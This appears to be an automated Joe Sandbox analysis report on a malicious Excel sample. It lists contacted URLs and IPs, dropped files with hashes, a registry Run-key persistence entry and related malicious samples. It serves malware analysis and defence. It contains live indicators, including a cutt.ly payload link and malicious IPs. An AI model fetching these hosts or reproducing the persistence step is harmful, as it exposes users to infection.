http://www.valicert.com/1	powershell.exe, 00000006.00000002.2103765249.000000001B907000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.e-szigno.hu/SZSZ/0	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false		high
http://www.%s.comPA	powershell.exe, 00000006.00000002.2098764453.0000000002330000.00000002.00000001.sdmp, powershell.exe, 00000008.00000002.2135210182.0000000002380000.00000002.00000001.sdmp, powershell.exe, 00000009.00000002.2149819469.0000000002360000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
http://www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAII.crl0	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://ocsp.quovadisoffshore.com0	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://ocsp.entrust.net0D	powershell.exe, 00000006.00000002.2103729703.000000001B8CC000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://cps.chambersign.org/cps/chambersignroot.html0	powershell.exe, 00000006.00000003.2094868628.000000001D18E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://cutt.ly/qjdJoz4	powershell.exe, 00000006.00000002.2098023844.00000000001D0000.00000004.00000020.sdmp, powershell.exe, 00000006.00000002.2099196904.0000000002BD1000.00000004.00000001.sdmp, powershell.exe, 00000006.00000002.2099216608.0000000002BFF000.00000004.00000001.sdmp	true	Avira URL Cloud: safe	unknown
http://ca.sia.it/secsrv/repository/CRL.der0J	powershell.exe, 00000006.00000003.2095044902.000000001D16B000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
83.172.144.37	unknown	Netherlands	25459	NEDZONE-ASNL	true
104.22.0.232	unknown	United States	13335	CLOUDFLARENETUS	true
185.206.215.56	unknown	Ukraine	204601	ON-LINE-DATAServerlocation-NetherlandsDrontenNL	true

General Information

Joe Sandbox Version:	31.0.0 Red Diamond
Analysis ID:	336301
Start date:	05.01.2021
Start time:	19:04:25
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 10m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	6Cprm97UTl (renamed file extension from none to xls)
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.spyw.expl.evad.winXLS@27/18@2/3
EGA Information:	Successful, ratio: 71.4%
HDC Information:	Successful, ratio: 31.4% (good quality ratio 30.5%) Quality average: 78.2% Quality standard deviation: 27.4%
HCA Information:	Successful, ratio: 99% Number of executed functions: 120 Number of non-executed functions: 4
Cookbook Comments:	Adjust boot time Enable AMSI Changed system and user locale, location and keyboard layout to English - United States Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, conhost.exe, svchost.exe Excluded IPs from analysis (whitelisted): 2.20.142.210, 2.20.142.209 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, audownload.windowsupdate.nsatc.net, ctldl.windowsupdate.com, a767.dscg3.akamai.net, au-bg-shim.trafficmanager.net Execution Graph export aborted for target RegAsm.exe, PID 2844 because there are no executed function Execution Graph export aborted for target powershell.exe, PID 1324 because it is empty Report size exceeded maximum capacity and may have missing behavior information. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtReadVirtualMemory calls found. VT rate limit hit for: /opt/package/joesandbox/database/analysis/336301/sample/6Cprm97UTl.xls

Simulations

Behavior and APIs

Time	Type	Description
19:04:41	API Interceptor	449x Sleep call for process: powershell.exe modified
19:05:09	API Interceptor	122x Sleep call for process: 12.exe modified
19:05:15	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run jfdts C:\Users\user\ntrwe.exe
19:05:22	API Interceptor	98x Sleep call for process: ntrwe.exe modified
19:05:23	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run jfdts C:\Users\user\ntrwe.exe
19:05:29	API Interceptor	779x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
104.22.0.232	sample products trade reference.docx	Get hash	malicious	Browse	cutt.ly/
104.22.0.232	Request_for_Quotation.xlsm	Get hash	malicious	Browse	cutt.ly/gdvAeui

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
cutt.ly	spetsifikatsiya.xls	Get hash	malicious	Browse	104.22.0.232
	1e9b445cb987e5a1cb3d15e6fd693309a4512e53e06ecfb1a3e707debdef7355.xls	Get hash	malicious	Browse	172.67.8.238
	spetsifikatsiya.xls	Get hash	malicious	Browse	104.22.1.232
	New Avinode Plans and Prices 2021.xls	Get hash	malicious	Browse	172.67.8.238
	spetsifikatsiya.xls	Get hash	malicious	Browse	104.22.0.232
	spetsifikatsiya.xls	Get hash	malicious	Browse	172.67.8.238
	AdviceSlip.xls	Get hash	malicious	Browse	104.22.0.232
	file.xls	Get hash	malicious	Browse	104.22.1.232
	file.xls	Get hash	malicious	Browse	172.67.8.238
	file.xls	Get hash	malicious	Browse	172.67.8.238
	output.xls	Get hash	malicious	Browse	172.67.8.238
	SecuriteInfo.com.Heur.20246.xls	Get hash	malicious	Browse	172.67.8.238
	SecuriteInfo.com.Exploit.Siggen3.5270.27062.xls	Get hash	malicious	Browse	104.22.1.232
	SecuriteInfo.com.Exploit.Siggen3.5270.27062.xls	Get hash	malicious	Browse	104.22.0.232
	30689741.xls	Get hash	malicious	Browse	172.67.8.238
	95773220855.xls	Get hash	malicious	Browse	104.22.1.232
	95773220855.xls	Get hash	malicious	Browse	172.67.8.238
	MT-000137.xls	Get hash	malicious	Browse	172.67.8.238
	95773220855.xls	Get hash	malicious	Browse	104.22.0.232
	MT-000137.xls	Get hash	malicious	Browse	104.22.1.232

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
NEDZONE-ASNL	https://balenpersen.com/TO/financialcrimes@lvmpd.com	Get hash	malicious	Browse	83.172.131.9
	SecuriteInfo.com.Trojan.GenericKD.34438057.21356.doc	Get hash	malicious	Browse	83.172.180.164
	https://installatiebedrijfroosendaal.nl/ONWFP-gO_YnJ-5Yu/ACH/PaymentAdvice/En_us/Sales-Invoice	Get hash	malicious	Browse	83.172.144.29
CLOUDFLARENETUS	Audio_47720.wavv - - Copy.htm	Get hash	malicious	Browse	104.16.19.94
	Adjunto.doc	Get hash	malicious	Browse	104.27.144.251
	details.html	Get hash	malicious	Browse	104.16.126.175
	https://notification1.bubbleapps.io/version-test?debug_mode=true	Get hash	malicious	Browse	104.19.241.93
	NQN0244_012021.doc	Get hash	malicious	Browse	104.27.144.251
	sek750_2021.exe	Get hash	malicious	Browse	172.67.166.210
	4560 2021 UE_9893.doc	Get hash	malicious	Browse	104.18.61.59
	Stremio+4.4.120.exe	Get hash	malicious	Browse	104.16.135.12
	https://bitly.com/2XaL0Dp	Get hash	malicious	Browse	104.27.183.152
	lJV2MfkPFd.exe	Get hash	malicious	Browse	104.27.151.210
	DAT 2020_12_30.doc	Get hash	malicious	Browse	172.67.191.146
	https://f000.backblazeb2.com/file/url-data-web-storage-secured-56adbcsjhdcbjs/web-data-server-1uyhchduiahc/index.html	Get hash	malicious	Browse	104.18.55.96
	G6slMyq847.exe	Get hash	malicious	Browse	104.27.151.210
	https://f000.backblazeb2.com/file/url-data-web-storage-secured-56adbcsjhdcbjs/web-data-server-1uyhchduiahc/index.html	Get hash	malicious	Browse	104.16.18.94
	Scan-0767672.doc	Get hash	malicious	Browse	104.27.144.251
	http://quickneasyrecipes.co	Get hash	malicious	Browse	104.18.226.52
	Documento-2021.doc	Get hash	malicious	Browse	172.67.141.14
	#Ud83d#Udcdejsi12615.html	Get hash	malicious	Browse	104.16.18.94
	https://splendideventsllc.org/Banco/	Get hash	malicious	Browse	104.18.82.87
	https://splendideventsllc.org/Banco/	Get hash	malicious	Browse	104.18.207.19
ON-LINE-DATAServerlocation-NetherlandsDrontenNL	http://d4a687ce4c.lazeruka.ru	Get hash	malicious	Browse	91.211.251.72
	New order.doc	Get hash	malicious	Browse	92.119.113.115
	Purchase order.doc	Get hash	malicious	Browse	92.119.113.115
	PO20-AE12-0023.doc	Get hash	malicious	Browse	92.119.113.140
	ES-MA-18-9 4130.doc	Get hash	malicious	Browse	92.119.113.140
	Order-list.doc	Get hash	malicious	Browse	92.119.113.140
	Launcher.exe	Get hash	malicious	Browse	185.92.148.230
	UXsGbxVc2I.rtf	Get hash	malicious	Browse	92.119.113.115
	Documents.doc	Get hash	malicious	Browse	92.119.113.115
	http://clcktut.work/public/8852102841203823	Get hash	malicious	Browse	45.82.69.137
	Vlpuoe2JSz.exe	Get hash	malicious	Browse	45.147.197.185
	PI.xlsx	Get hash	malicious	Browse	45.147.197.185
	PO#181120_pdf.exe	Get hash	malicious	Browse	92.119.113.115
	http://sh1563741.a.had.su/Area-Cliente/informazioni/web/	Get hash	malicious	Browse	45.147.197.180
	u4WV77ddWF.dll	Get hash	malicious	Browse	185.219.83.48
	k1mh5904.exe	Get hash	malicious	Browse	95.215.206.139
	VVV.exe	Get hash	malicious	Browse	178.159.43.35
	Internet download manager cracker (1).exe	Get hash	malicious	Browse	45.147.197.110
	http://www.google.com/url?q=http%3A%2F%2Fjonfriskics.com%2Flotterye&sa=D&sntz=1&usg=AFQjCNFU254PyrxnCIpYtaqc4jMuBkMlpg	Get hash	malicious	Browse	45.147.197.36
	http://prevuse.ru	Get hash	malicious	Browse	45.147.197.20

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
05af1f5ca1b87cc9cc9b25185115607d	DAT 2020_12_30.doc	Get hash	malicious	Browse	104.22.0.232
	N.11389944 BS 05 gen 2021.doc	Get hash	malicious	Browse	104.22.0.232
	PSX7103491.doc	Get hash	malicious	Browse	104.22.0.232
	Beauftragung.doc	Get hash	malicious	Browse	104.22.0.232
	1I72L29IL3F.doc	Get hash	malicious	Browse	104.22.0.232
	Adjunto_2021.doc	Get hash	malicious	Browse	104.22.0.232
	#U00e0#U00a4#U00ac#U00e0#U00a5#U20ac#U00e0#U00a4#U0153#U00e0#U00a4#U2022.doc	Get hash	malicious	Browse	104.22.0.232
	Dok 0501 012021 Q_93291.doc	Get hash	malicious	Browse	104.22.0.232
	invoice.doc	Get hash	malicious	Browse	104.22.0.232
	spetsifikatsiya.xls	Get hash	malicious	Browse	104.22.0.232
	1e9b445cb987e5a1cb3d15e6fd693309a4512e53e06ecfb1a3e707debdef7355.xls	Get hash	malicious	Browse	104.22.0.232
	output.xls	Get hash	malicious	Browse	104.22.0.232
	output.xls	Get hash	malicious	Browse	104.22.0.232
	spetsifikatsiya.xls	Get hash	malicious	Browse	104.22.0.232
	New Avinode Plans and Prices 2021.xls	Get hash	malicious	Browse	104.22.0.232
	spetsifikatsiya.xls	Get hash	malicious	Browse	104.22.0.232
	Shipping Details DHL.xls	Get hash	malicious	Browse	104.22.0.232
	AdviceSlip.xls	Get hash	malicious	Browse	104.22.0.232
	PI 99-14.doc__.rtf	Get hash	malicious	Browse	104.22.0.232
	Archivo.doc	Get hash	malicious	Browse	104.22.0.232

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\RegAsm.exe	Payment_Confirmation_Slip.xlsx	Get hash	malicious	Browse
	Overdue Invoice.xlsx	Get hash	malicious	Browse
	Quotation.xlsx	Get hash	malicious	Browse
	ENCLOSE ORDER LIST.xlsx	Get hash	malicious	Browse
	PO INV 195167 & 195324.xlsx	Get hash	malicious	Browse
	Bank letter.xlsx	Get hash	malicious	Browse
	Quotation.xlsx	Get hash	malicious	Browse
	PO 19030004.xlsx	Get hash	malicious	Browse
	New PO PO20.xlsx	Get hash	malicious	Browse
	ORDER LIST.xlsx	Get hash	malicious	Browse
	RFQ 00112.xlsx	Get hash	malicious	Browse
	inquiry.xlsx	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Microsoft Cabinet archive data, 58936 bytes, 1 file
Category:	dropped
Size (bytes):	58936
Entropy (8bit):	7.994797855729196
Encrypted:	true
SSDEEP:	768:A2CCXehkvodpN73AJjDzh85ApA37vK5clxQh+aLE/sSkoWYrgEHqCinmXdBDz2mi:i/LAvEZrGclx0hoW6qCLdNz2pj
MD5:	E4F1E21910443409E81E5B55DC8DE774
SHA1:	EC0885660BD216D0CDD5E6762B2F595376995BD0
SHA-256:	CF99E08369397577BE949FBF1E4BF06943BC8027996AE65CEB39E38DD3BD30F5
SHA-512:	2253849FADBCDF2B10B78A8B41C54E16DB7BB300AAA1A5A151EDA2A7AA64D5250AED908C3B46AFE7262E66D957B255F6D57B6A6BB9E4F9324F2C22E9BF088246
Malicious:	false
Reputation:	high, very likely benign file
Preview:	MSCF....8.......,...................I........S........LQ.v .authroot.stl..0(/.5..CK..8T....c_.d...:.(.....].M$[v.4CH)-.%.QIR..$t)Kd...D.....3.n..u..............\|..=H4.U=...X..qn.+S..^J.....y.n.v.XC...3a.!.....]...c(...p..]..M.....4.....i...}C.@.[..#xUU..D..agaV..2.\|.g...Y..j.^..@.Q......n7R...`.../..s...f...+...c..9+[.\|0.'..2!.s....a........w.t:..L!.s....`.O>.`#..'.pfi7.U......s..^...wz.A.g.Y........g......:7{.O.......N........C..?....P0$.Y..?m....Z0.g3.>W0&.y](....].`>... ..R.qB..f.....y.cEB.V=.....hy}....t6b.q./~.p........60...eCS4.o......d..}.<,nh..;.....)....e..\|....Cxj...f.8.Z..&..G.......b.....OGQ.V..q..Y.............q...0..V.Tu?.Z..r...J...>R.ZsQ...dn.0.<...o.K....\|.....Q...'....X..C.....a;...Nq..x.b4..1,}.'.......z.N.N...Uf.q'.>}........o\.cD"0.'.Y.....SV..g...Y.....o.=.....k..u..s.kV?@....M...S.n^.:G.....U.e.v..>...q.'..$.)3..T...r.!.m.....6...r,IH.B <.ht..8.s..u[.N.dL.%...q....g..;T..l..5...\.....g...`...........A$:...........

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	326
Entropy (8bit):	3.1086014193077407
Encrypted:	false
SSDEEP:	6:kKlawwDN+SkQlPlEGYRMY9z+4KlDA3RUegeT6lf:N1kPlE99SNxAhUegeT2
MD5:	89A188366EFFB46949AD9093EDA55CF1
SHA1:	6F3931CD5BA324C598AE0B45F7A1EA387E7DD1F2
SHA-256:	9FBCA6A1EEDBC56E0350C4D21F36077F429AE6452F579A3864D44D11AD49A909
SHA-512:	F964D8C36C44119D49191DD1CD2D990D8EE87FC5EEDB9042CD8839100CCDA240ECC054FE1172A8E487569D4EFC5DDE439A2234E992DB0373AE34AD88FE98411E
Malicious:	false
Preview:	p...... .........:.....(....................................................... ..........Y.......$...........8...h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".0.6.9.5.5.9.e.2.a.0.d.6.1.:.0."...

C:\Users\user\AppData\Local\Temp\05DE0000 Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	105034
Entropy (8bit):	7.925151112906241
Encrypted:	false
SSDEEP:	3072:nda1iLoxgaSNUPZlsaFPOHYiR+rJEgjjajH7cA:nGiE/SN0ZltFPgY9rvgp
MD5:	2A97A372C7AC14DDAF2BC6CECA6BCDE8
SHA1:	6509EB9A038444C7CD44BF03B7B6536CCEBB73F0
SHA-256:	DBC762A96077FDB3858F84F2642813C5CAA88A1B41FFEB34C1FD5BAB9F6F2D9D
SHA-512:	0EC40FBAB270674794C191A66EAC1FD609D9D264EE7A835B34F61A63ABA2687E2E8B83B23FD83C409050C6072473F7AFEC4FB521CD327D2F00DD9A42531B3A45
Malicious:	false
Preview:	...N.0...H.C.+J\8 ..r.e......=M...<..g...U...DI..~..xfz...x....]V.V..^i.....Oy..L.)a.........l.....U;.Y.R...e.V`..8ZY.hE.... .R4..&.k..K.R....M..B..T.....\;V..\|.Q5.!.-E"....H...-Ay.jI...A(l..5U.....R..!.{..5;Lm...~.E..;%#6..*....xAa. ..9.u....VP<....Ki...>.../.a.....V.L.%VY!..wbn..v......R..n/O../..\.XO;...L.......D..xw=f...:.. ...<".a......[.A=%j.....=.CE.-....s..4U...H.+.....\|....AL..]....D.'..wf!.@.a.n..>.......PK..........!....-............[Content_Types].xml ...(...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Cab8018.tmp Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Microsoft Cabinet archive data, 58936 bytes, 1 file
Category:	dropped
Size (bytes):	58936
Entropy (8bit):	7.994797855729196
Encrypted:	true
SSDEEP:	768:A2CCXehkvodpN73AJjDzh85ApA37vK5clxQh+aLE/sSkoWYrgEHqCinmXdBDz2mi:i/LAvEZrGclx0hoW6qCLdNz2pj
MD5:	E4F1E21910443409E81E5B55DC8DE774
SHA1:	EC0885660BD216D0CDD5E6762B2F595376995BD0
SHA-256:	CF99E08369397577BE949FBF1E4BF06943BC8027996AE65CEB39E38DD3BD30F5
SHA-512:	2253849FADBCDF2B10B78A8B41C54E16DB7BB300AAA1A5A151EDA2A7AA64D5250AED908C3B46AFE7262E66D957B255F6D57B6A6BB9E4F9324F2C22E9BF088246
Malicious:	false
Preview:	MSCF....8.......,...................I........S........LQ.v .authroot.stl..0(/.5..CK..8T....c_.d...:.(.....].M$[v.4CH)-.%.QIR..$t)Kd...D.....3.n..u..............\|..=H4.U=...X..qn.+S..^J.....y.n.v.XC...3a.!.....]...c(...p..]..M.....4.....i...}C.@.[..#xUU..D..agaV..2.\|.g...Y..j.^..@.Q......n7R...`.../..s...f...+...c..9+[.\|0.'..2!.s....a........w.t:..L!.s....`.O>.`#..'.pfi7.U......s..^...wz.A.g.Y........g......:7{.O.......N........C..?....P0$.Y..?m....Z0.g3.>W0&.y](....].`>... ..R.qB..f.....y.cEB.V=.....hy}....t6b.q./~.p........60...eCS4.o......d..}.<,nh..;.....)....e..\|....Cxj...f.8.Z..&..G.......b.....OGQ.V..q..Y.............q...0..V.Tu?.Z..r...J...>R.ZsQ...dn.0.<...o.K....\|.....Q...'....X..C.....a;...Nq..x.b4..1,}.'.......z.N.N...Uf.q'.>}........o\.cD"0.'.Y.....SV..g...Y.....o.=.....k..u..s.kV?@....M...S.n^.:G.....U.e.v..>...q.'..$.)3..T...r.!.m.....6...r,IH.B <.ht..8.s..u[.N.dL.%...q....g..;T..l..5...\.....g...`...........A$:...........

C:\Users\user\AppData\Local\Temp\RegAsm.exe Download File
Process:	C:\Users\user\ntrwe.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	64672
Entropy (8bit):	6.033474133573561
Encrypted:	false
SSDEEP:	768:PedoViadPL1DI9WzutSjeJan8dBhF541kE6Iq8HaVxlYDKz4yqibwEBbr:XiaFJkobMa8dBXG2zbVUDKz4yq3EBbr
MD5:	ADF76F395D5A0ECBBF005390B73C3FD2
SHA1:	017801B7EBD2CC0E1151EEBEC14630DBAEE48229
SHA-256:	5FF87E563B2DF09E94E17C82741D9A43AED2F214643DC067232916FAE4B35417
SHA-512:	9670AC5A10719FA312336B790EAD713D78A9999DB236AD0841A32CD689559B9F5F8469E3AF93400F1BE5BAF2B3723574F16EA554C2AAF638734FFF806F18DB2B
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Payment_Confirmation_Slip.xlsx, Detection: malicious, Browse Filename: Overdue Invoice.xlsx, Detection: malicious, Browse Filename: Quotation.xlsx, Detection: malicious, Browse Filename: ENCLOSE ORDER LIST.xlsx, Detection: malicious, Browse Filename: PO INV 195167 & 195324.xlsx, Detection: malicious, Browse Filename: Bank letter.xlsx, Detection: malicious, Browse Filename: Quotation.xlsx, Detection: malicious, Browse Filename: PO 19030004.xlsx, Detection: malicious, Browse Filename: New PO PO20.xlsx, Detection: malicious, Browse Filename: ORDER LIST.xlsx, Detection: malicious, Browse Filename: RFQ 00112.xlsx, Detection: malicious, Browse Filename: inquiry.xlsx, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...&.W..............0.................. ........@.. ....................... ......k.....`.....................................O.......8................>........................................................... ............... ..H............text........ ...................... ..`.rsrc...8...........................@..@.reloc..............................@..B........................H........A..`p...........................................................~P...-.r...p.....(....(....s.....P.....0.."........(......-.r...p.rI..p(....s....z....0..........(....~P.....o........(....n(.....(..........%...(....~(.....(..........%...%...(.....(.....(..........%...%...%...(....V.(......}Q.....}R.....{Q.....{R......0...........(.......i.;...}S......i.>...}T......i.>...}U.....+m...(....o......r]..p.o ...,..{T.......{U........o!....+(.ra..p.o ...,..{T.......

C:\Users\user\AppData\Local\Temp\Tar8019.tmp Download File
Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	152533
Entropy (8bit):	6.31602258454967
Encrypted:	false
SSDEEP:	1536:SIPLlYy2pRSjgCyrYBb5HQop4Ydm6CWku2PtIz0jD1rfJs42t6WP:S4LIpRScCy+fdmcku2PagwQA
MD5:	D0682A3C344DFC62FB18D5A539F81F61
SHA1:	09D3E9B899785DA377DF2518C6175D70CCF9DA33
SHA-256:	4788F7F15DE8063BB3B2547AF1BD9CDBD0596359550E53EC98E532B2ADB5EC5A
SHA-512:	0E884D65C738879C7038C8FB592F53DD515E630AEACC9D9E5F9013606364F092ACF7D832E1A8DAC86A1F0B0E906B2302EE3A840A503654F2B39A65B2FEA04EC3
Malicious:	false
Preview:	0..S....H.........S.0..S....1.0...`.H.e......0..C...+.....7.....C.0..C.0...+.....7.............201012214904Z0...+......0..C.0.......`...@.,..0..0.r1...0...+.....7..~1......D...0...+.....7..i1...0...+.....7<..0 ..+.....7...1.......@N...%.=.,..0$..+.....7...1......`@V'..%..*..S.Y.00..+.....7..b1". .].L4.>..X...E.W..'..........-@w0Z..+.....7...1L.JM.i.c.r.o.s.o.f.t. .R.o.o.t. .C.e.r.t.i.f.i.c.a.t.e. .A.u.t.h.o.r.i.t.y...0..,...........[./..uIv..%1...0...+.....7..h1.....6.M...0...+.....7..~1...........0...+.....7...1...0...+.......0 ..+.....7...1...O..V.........b0$..+.....7...1...>.)....s,.=$.~R.'..00..+.....7..b1". [x.....[....3x:_....7.2...Gy.cS.0D..+.....7...16.4V.e.r.i.S.i.g.n. .T.i.m.e. .S.t.a.m.p.i.n.g. .C.A...0......4...R....2.7.. ...1..0...+.....7..h1......o&...0...+.....7..i1...0...+.....7<..0 ..+.....7...1...lo...^....[...J@0$..+.....7...1...J\u".F....9.N...`...00..+.....7..b1". ...@.....G..d..m..$.....X...}0B..+.....7...14.2M.i.c.r.o.s.o.f.t. .R.o.o.t. .A.u.t.h.o

C:\Users\user\AppData\Roaming\CF97F5\5879F5.lck Download File
Process:	C:\Users\user\AppData\Local\Temp\RegAsm.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-966771315-3019405637-367336477-1006\f554348b930ff81505ce47f7c6b7d232_ea860e7a-a87f-4a88-92ef-38f744458171 Download File
Process:	C:\Users\user\AppData\Local\Temp\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	35006
Entropy (8bit):	0.6024827961083986
Encrypted:	false
SSDEEP:	12:seeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeR:i
MD5:	AD0D2FB7F4EC355D0D8CBF5C9235259B
SHA1:	C875BB3B2020FB4A1C8E6E694BA2296EBB31DF81
SHA-256:	2598083577FF245674401A33AE940D5AE389E972B1DBB147FAA47B40156D965E
SHA-512:	E345C2920A6F29AE14EA6181178E3F4252B20CFF01374BA47CB7A4EE80FFA749E424345D9AB03905A8818E6DE1A03917499C409DBB6DAA1D3EB3340C4AA68E9E
Malicious:	false
Preview:	........................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user.......................................................................................user...................................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\6Cprm97UTl.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Jan 6 02:04:31 2021, mtime=Wed Jan 6 02:04:39 2021, atime=Wed Jan 6 02:04:40 2021, length=127488, window=hide
Category:	dropped
Size (bytes):	2028
Entropy (8bit):	4.547448419157985
Encrypted:	false
SSDEEP:	24:8hz//o/XTr6N47KevRDv3qpdM7dD2hz//o/XTr6N47KevRDv3qpdM7dV:8hz/A/XT+NhtpQh2hz/A/XT+NhtpQ/
MD5:	73C3A39789CB2C2692EF7B7D1BE021AF
SHA1:	9B6DCC9611BABA41FE6CC83D220EEEA88E69B346
SHA-256:	F01B6D9921D1A2744419D9283E221C129FAEF7C40CB5EC09BB47D9BE6BC2992C
SHA-512:	82003A9023EC05876BE86D273E1975488B2D62F6F0A96B39C9C358B3A98492AF2DECF7F82967C0E5BC60B1A948C88FFB0AD1DCEF49B4C7E932616065ED763196
Malicious:	false
Preview:	L..................F.... ....;.....?Ir.....`my..................................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y...&=....U...............A.l.b.u.s.....z.1.....&R....Desktop.d......QK.X&R....._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....f.2.....&R.. .6CPRM9~1.XLS..J......&R..&R..*...?.....................6.C.p.r.m.9.7.U.T.l...x.l.s.......x...............-...8...[............?J......C:\Users\..#...................\\216554\Users.user\Desktop\6Cprm97UTl.xls.%.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.6.C.p.r.m.9.7.U.T.l...x.l.s.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......216554..........D_....3N...W...9F.C...........[D_....3N...W...9F.C..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Wed Jan 6 02:04:39 2021, atime=Wed Jan 6 02:04:39 2021, length=8192, window=hide
Category:	dropped
Size (bytes):	867
Entropy (8bit):	4.493703650549725
Encrypted:	false
SSDEEP:	12:85QSxCLgXg/XAlCPCHaX7B8NB/0VngUX+WnicvbWbDtZ3YilMMEpxRljK96TdJP8:85VxU/XTr6NqgUYeeDv3qprNru/
MD5:	6998A322A53314E59F4908073525B31A
SHA1:	F6A12ABF5E811E73424968267E355D9FE3FBB930
SHA-256:	E2F9EF677017D5ED6785546BAFA65854E49111D370873CD60BD34ED2DE4A3496
SHA-512:	9348C3E08429E03CAF5FD09B36DC46651958D817A4AA5D94C3602CC60E2A6214200D1302062D64296EF2CE41F98F29D4F2AA8F5863597AEF2C74E003AF21706E
Malicious:	false
